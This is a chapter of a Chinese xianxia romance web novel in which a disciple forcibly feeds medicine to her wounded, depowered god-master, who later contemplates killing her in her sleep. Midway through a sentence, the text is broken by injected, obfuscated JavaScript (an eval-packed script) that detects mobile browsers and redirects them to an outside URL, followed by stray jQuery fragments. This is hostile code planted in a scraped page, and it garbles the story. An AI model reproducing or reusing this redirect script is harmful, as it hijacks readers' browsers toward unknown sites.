傍晚来临,刺眼的日光终于柔和成夕阳,白栀喂好鸡后给一小块农田里的白菜浇了水,提着砍刀在院子里劈柴。
劈柴的声音惊动了在屋内看书的商阙,他拎着那本日记,缓步走到窗边,一念山风景秀致,他所在的流奚峰虽然相较其他几峰不算高挺,但此时余晖罩着翠绿树荫,叶片泛着碎金般的亮光,清风穿行,庭前绿影摇晃,后院炊烟袅袅,倒也别有一番意味。
他的目光从庭前左边那颗大树底下挂着的秋千,这秋千底座打磨的不算平整,有些影响风景,不过连接处却很扎实,两侧的绳索还缠着铁丝,看起来很稳当。
白栀背对着他,一次次挥刀。
她劈柴的速度不快,但每一刀的准头却极其精准,干脆利落,一点儿不拖泥带水。
商阙在看完那本日记后,终于明白了这段时间师徒相处感觉怪异的原因,他这个‘假’师父的固然对她没什么师徒情分,白栀这个做徒弟的更是没将他当作长辈。
她居然胆大包天,暗地里爱慕着自己的师父。
不过这种有悖道德的事情他见的也不少,别说是凡人,即便是已经斩断心魔,飞升天界的神仙,也有不少因为执念妄念而一步踏错,被打下凡间或者堕入魔界,魂飞魄散,滋养神木。
商阙将这本他从床脚边捡到的日记随手丢回茶几上。
“师父?”白栀抱着劈好的柴,转身时恰好与商阙对上了视线。
她看了眼厨房屋顶飘着的白烟,“很快就能吃饭了,你再等一下。”
“修士辟谷是基本。”商阙看向她手中的木柴:“这点都做不到,谈何飞升?”
“飞升离我太远了,与其想着飞升,倒不如多备一些符咒以后保命,再想想今天晚上吃什么。”白栀把砍好的柴放堆到厨房备用,随口道。
商阙跟着踱步,走到厨房门口,看着她来回在熬药和煮粥的两个灶台忙碌,这里面充满了凡尘的烟火气,窗前悬着咸鱼腊肉,角落堆着玉米地瓜,简直与清修二字格格不入。
他又想起这几天就没怎么见白栀打坐修行过,“遏制不了口腹之欲,斩断不下情爱之念,你这无情二字,从何而来?”
“无情无情,总得有情再无情吧。”白栀一边看着火一边说:“不过师父你说的也没错,难怪我总是倒数第一。”
她把药倒出后趁势端到他面前,笑嘻嘻地说:“师父难得和我说这么多话,渴了吧,来喝药。”
商阙止住她的动作,眉头微蹙,“既然知道自己的问题在何处,为什么不改变?”
“改变什么?师父觉得我应该对你不管不顾么?”白栀又开始苦口婆心地劝他:“师父,还没到最坏的地步,为什么要放弃呢?这都是我熬的第四付药了,你折磨我也就算了,别浪费好东西啊。”
“......对牛弹琴!”商阙确认这蠢货真是油盐不进,甩下这句话就要离开。
但一只手果断扣住了他的肩膀,白栀带着笑的声音在他身后响起:“师父,回去休息可以,得先喝这碗药才行。”
商阙看向左肩,这只手上还带着昨夜的烫伤,一片红肿,却牢牢地按住了他,纹丝不动,他眸中闪过一丝杀意,沉肩卸力:“不喝如何?!”
白栀端药的左手不动,右手却灵敏地在他腰后位一拍,商阙一瞬间全身酥麻,动作迟滞间,他已经被白栀封住了穴道。
在倒地前,白栀出手扶他靠墙坐下,以免他摔得狼狈。
虽然她灵力低微,但此刻在身受重伤,近乎没有灵力的商阙面前,她还是略占上风。
商阙冷笑着,眼光几乎要杀人,后腮咬得死死的,“你真是好大的胆子!”
“师父,其他事我都能答应你,唯独这一件不行。”白栀看着他满是敌意的眼神有些无奈:“我三番两次劝你你都不愿意主动喝,那我只好亲自喂你了。”
说完,她测了测温度,在商阙不敢置信,恼怒至极的目光下,捏着他的下巴一点点把药灌了进去。
谁能想到这个逆徒能狗胆包天到如此地步,贵为九重天上,执掌天道律法,斩杀过无数妖魔的商阙神君简直要被气晕。
他剧烈咳嗽起来,白栀停下动作给他顺气,谁知他越咳越厉害,那样子简直要把肺咳出来了。
方才还游刃有余的罪魁祸首当即慌了。
“妈呀,这,这——师父你别吓我啊?”白栀被这动静吓得手忙脚乱,用力拍他的后背,商阙只觉眼冒金星,这下换成魂要被拍出来了。
她忙扶着他回房躺着。
商阙好半天才喘过气来。
她搓着手,忐忑站在一边,看他气息平稳后小声道:“……师父你还好么?”
“……”
“……”白栀看他面色不善,不敢继续犯贱惹他了,刚走两步,又转头迟疑道:“还有小半碗药,师父你看要不要喝完我再——”
“滚!!!”商阙几乎是咆哮。
他披头散发,气息混乱,双眼发红,白栀见他是真的动怒,忙不迭滚了,一边滚一边道:“马上滚马上滚,你消消气!”
商阙按在床沿的手青筋暴起,胸膛剧烈起伏。
若往日遇难,他都会试图尽快平复着自己的情绪,思索解决的办法,但这次接连遇挫,以往从未有过烦躁还是让人难以控制。
真身被封、失去法力、身受重伤、沦落凡间......如今竟然还被一个凡人束缚手脚,难以摆脱。
商阙突然意识到了什么,直接按上了胸口,又扯开衣襟,看向自己的伤口处。
昨夜被剪刀刺中的位置,此刻已经只剩下一条细窄的血痕。
灵药再好,也不可能有这如此神奇的功效。
凡人能拥有这可与元婴修士媲美的痊愈速度么?
正疑惑时,某人又鬼鬼祟祟地出现了,她背对着商阙,有意不让他看见自己的脸,在桌上放下碗就安静离开了。
她在桌子上摆了一碗清粥和一碟小菜。
白粥表面还放了两颗红枣,一根细长的红枣条,摆出一个笑脸图样,似乎是在同他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447014|185143||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赔礼道歉。
商阙瞄了一眼,余光中注意到白栀躲在窗外偷瞄的发顶,冷哼一声,索性闭目盘腿调息。
外面的白栀腿都蹲麻了,见他没有半点吃饭的意思,也不敢故技重施,灰溜溜地走了。
这夜,白栀缩在屋内背法诀,只不过门户大开,方便偶尔睁眼偷瞄师父房间的动静。
他屋内点了一盏油灯,朦胧间可以照出屋内人影的动静。
但这人比她似乎还投入,白栀就没怎么见他动过。
细算算,他都快一天一夜没进食了,这么能熬么?
白栀开始反思自己之前的举动是不是太不尊师重道了,但转念一想,他好像对自己也没什么师徒情分。
不像师父的师父,和不像徒弟的徒弟。
罢了,要是他明天饿晕了,她就再把米汤给他灌下去,白栀把书一丢,直接趴到了床上,这两天快累死她了。
至于什么疫病,该来的总会来,早死晚死都会死,如果她真的倒霉也被感染,那也是明天的事情。
她开始对自己的生死祸福平常以待,这难道不是一个修士应该有的心态么?
虽然她的□□还是凡人,但她的灵魂已经开始蜕变了,白栀乐观地想着,头一歪,不知不觉地就这么睡着了。
只不过睡之前,她忘了关门,月色似河一般流淌,直到一个人影将光线拦腰截断。
商阙微撩衣摆,步履稳而静。
虽然暂失法力,但他的脚步依旧轻灵无声,犹如鸟雀悄然在枝头落下,尘埃都不会被惊动半分。
白栀挠了挠痒,姿态豪迈的半趴在床上,将后心留给他。
商阙在床头站定,高大的阴影将床上的人笼罩在内,没有温度的视线在她身上流连着,太阳穴、脖颈、后心......
面前这个凡人其实远比他脆弱,即便他身死进入归墟,只要一缕元神不散,都能重聚魂魄,重塑肉身。而凡人只要在致命之处一击,就会气息断绝,无力回天。
凉爽的风吹入卧房,轻轻撩动他的衣袖,窗外时不时响起几声鸟鸣。
他平静地注视着,眼底杀意滔天。
不论是面对天界的同道,还是被压上诛仙台的重犯,不论是闲聊还是处决,商阙神君永远是平静从容,淡定利落。
右手微微张动,目光锁定了修长的脖颈。
白栀还保持着那个背对的姿势,毫无察觉。
恰在此时,寂静的房内不合时宜响起一阵低鸣,这声音突如其来,让他措手不及。
目光微起波澜,商阙低头看向自己腹部。
晕眩感袭来,商阙后退一步,他的肚子又响起长长一声哀鸣,这声音大的简直像是一道炸雷。
床上的白栀被吵到了,但她第一反应不是睁眼看看,而是提起被子蒙住了头。
不得不说,她终于做了次让商阙满意的选择。
而在天界靠吸收天地灵气,日月华光生活的神君彻底意识到自己现在的处境——
他饿了。